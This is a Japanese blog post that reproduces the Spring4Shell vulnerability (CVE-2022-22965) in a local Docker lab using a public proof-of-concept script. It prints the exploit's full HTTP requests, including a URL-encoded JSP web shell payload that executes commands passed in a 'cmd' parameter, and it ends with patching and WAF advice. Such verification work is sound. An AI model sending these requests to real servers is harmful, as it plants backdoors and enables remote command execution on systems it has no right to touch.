今回は以下のニュースであった脆弱性の検証を行います!
・「Spring Core」にゼロデイ脆弱性「Spring4Shell」の指摘
・「Spring4Shell」を修正したアップデートが公開 – 詳細明らかに
検証環境の準備はサクッとやって、検証にしたいと思います。
なお、本記事は悪用を促すものではないことを予めご了承ください。
検証環境の準備
今回は「Docker」を使用してサクッと準備します。
GithubでDockerファイルとか諸々準備してくれている方がいましたので、こちらを使用ます。
事前にVMにDockerを動かすための準備をしましょう。以下を参考にしてください。
・Dockerを使ってCVE-2021-41773を検証する
環境ができたら、以下のコマンドでファイルとか諸々を持ってきます。
# git clone https://github.com/reznok/Spring4Shell-POC.git
すぐに終わりますので、ディレクトリに移動します。
ディレクトリに移動したら、以下のコマンドで起動します。
#docker build . -t spring4shell && docker run -p 8080:8080 spring4shell
動作環境にもよりますが、私の環境では5分くらいで立ち上がりました。
上記のようになればOKです。
「http://192.168.56.130:8080/helloworld/greeting」にアクセスすると以下の画面が表示されます。
※IPアドレス個所は環境に合わせて変更してください。
脆弱性の検証
ファイルをgitで持ってきた際にPoCも一緒に同封されていますので、こちらをそのまま使用します。
$ python3 exploit.py --url "http://192.168.56.130:8080/helloworld/greeting" --file shell [*] Resetting Log Variables. [*] Response code: 200 [*] Modifying Log Configurations [*] Response code: 200 [*] Response Code: 200 [*] Resetting Log Variables. [*] Response code: 200 [+] Exploit completed [+] Check your target for a shell [+] File: shell.jsp [+] Shell should be at: http://192.168.56.130:8080/shell.jsp?cmd=id
「–file shell」で作成するファイル名を決めています。
「http://192.168.56.130:8080/shell.jsp?cmd=id」にアクセスすることで、コマンド「id」の実行結果が画面に表示されます。
ちゃんと動作していることが確認できましたね。
具体的にどういうリクエストを送信しているか見てみましょう!
このPoCでは全部で4つのリクエストを送信しています。
1回目
POST /helloworld/greeting HTTP/1.1 Host: 192.168.56.130:8080 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 81 class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_
2回目
POST /helloworld/greeting HTTP/1.1 Host: 192.168.56.130:8080 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 699 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shella&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
3回目
GET /helloworld/greeting HTTP/1.1 Host: 192.168.56.130:8080 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close prefix: <% suffix: %>// c: Runtime
4回目
POST /helloworld/greeting HTTP/1.1 Host: 192.168.56.130:8080 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 73 class.module.classLoader.resources.context.parent.pipeline.first.pattern=
一回目のリクエストは繰り返しPoCを使用するために作成したリクエストのようです。
以前のバージョンでは一回PoCを動作させると、Tomcatを再起動する必要があったそうです。
※私が最初に検証した際は実際にそうでした。
そして、2回目のリクエストでディレクトリの作成と、ファイルの作成、そしてコードの追加を行っている形です。
3三回目のリクエストを送信することで、「<%」と「%>//」をそれぞれコードの前後に追加し、jspファイルとして実行できる形式にしているようです。
4回目のリクエストは何をしているんだろう・・・PoCの繰り返し動作のためのリクエストになるんだろうか。
※詳しい方がいたら教えてください。
公開ディレクトリにプログラムファイル(バックドア)を置けるので、あとはやりたい放題ですね。
非常に危険な脆弱性であることが確認できました。
最後に
Spring4Shell(CVE-2022-22965)の検証を行いました。
「CVSSv3.0」のベーススコアは「9.8」で、重要度は「クリティカル(Critical)」の問題ですので、至急アップデートを行うことを推奨します。
WAF等でブロックもできている可能性もあると思いますが、あくまで一時的な対策としてアップデートを行うようにしてください。
攻撃コードに「class.module.classLoader.」と文字列があるので、防いでくれているWAF製品は結構あるはずと思います。
VMwareから以下のアナウンスが出ています。
・CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+
上記バージョンで修正されているようなので、ちゃんとアップデートしましょう。
年度末に恐ろしい脆弱性がでましたが、対応された(または対応されている)方は本当にお疲れ様です。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント